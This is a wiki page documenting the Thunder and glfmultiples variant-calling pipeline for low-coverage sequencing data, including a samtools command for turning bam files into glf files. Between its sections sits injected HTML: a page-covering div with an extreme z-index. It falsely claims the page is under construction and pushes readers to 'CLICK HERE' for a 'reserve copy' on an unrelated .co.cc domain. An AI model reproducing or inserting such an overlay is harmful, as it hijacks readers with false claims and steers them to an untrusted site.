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Thunder

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This page documents how to perform variant calling from low-coverage sequencing data using glfmultiples and thunder. The pipeline was originally developed by [mailto:yunli@med.unc.edu Yun Li] for the 1000 Genomes Low Coverage Pilot Project.
>== Input Data ==
To get started, you will need glf files in the standard format [http://samtools.sourceforge.net/SAM1.pdf glf format]. Sample files are available at [ftp://share.sph.umich.edu/1000genomes/pilot1/examples/glf.tgz sample glf files].
If you do not have glf files, you can generate them from bam files (bam format also specified in [http://samtools.sourceforge.net/SAM1.pdf glf format bam format]) using the following command line:
samtools pileup -g -T 1 -f ref.fa my.bam > my.glf
Note: you will need the reference fasta file ref.fa to create glf file from bam file.  ----<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">----=[http://axyzuhy.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=----=[http://axyzuhy.co.cc CLICK HERE]=----</div>
== How to Run ==
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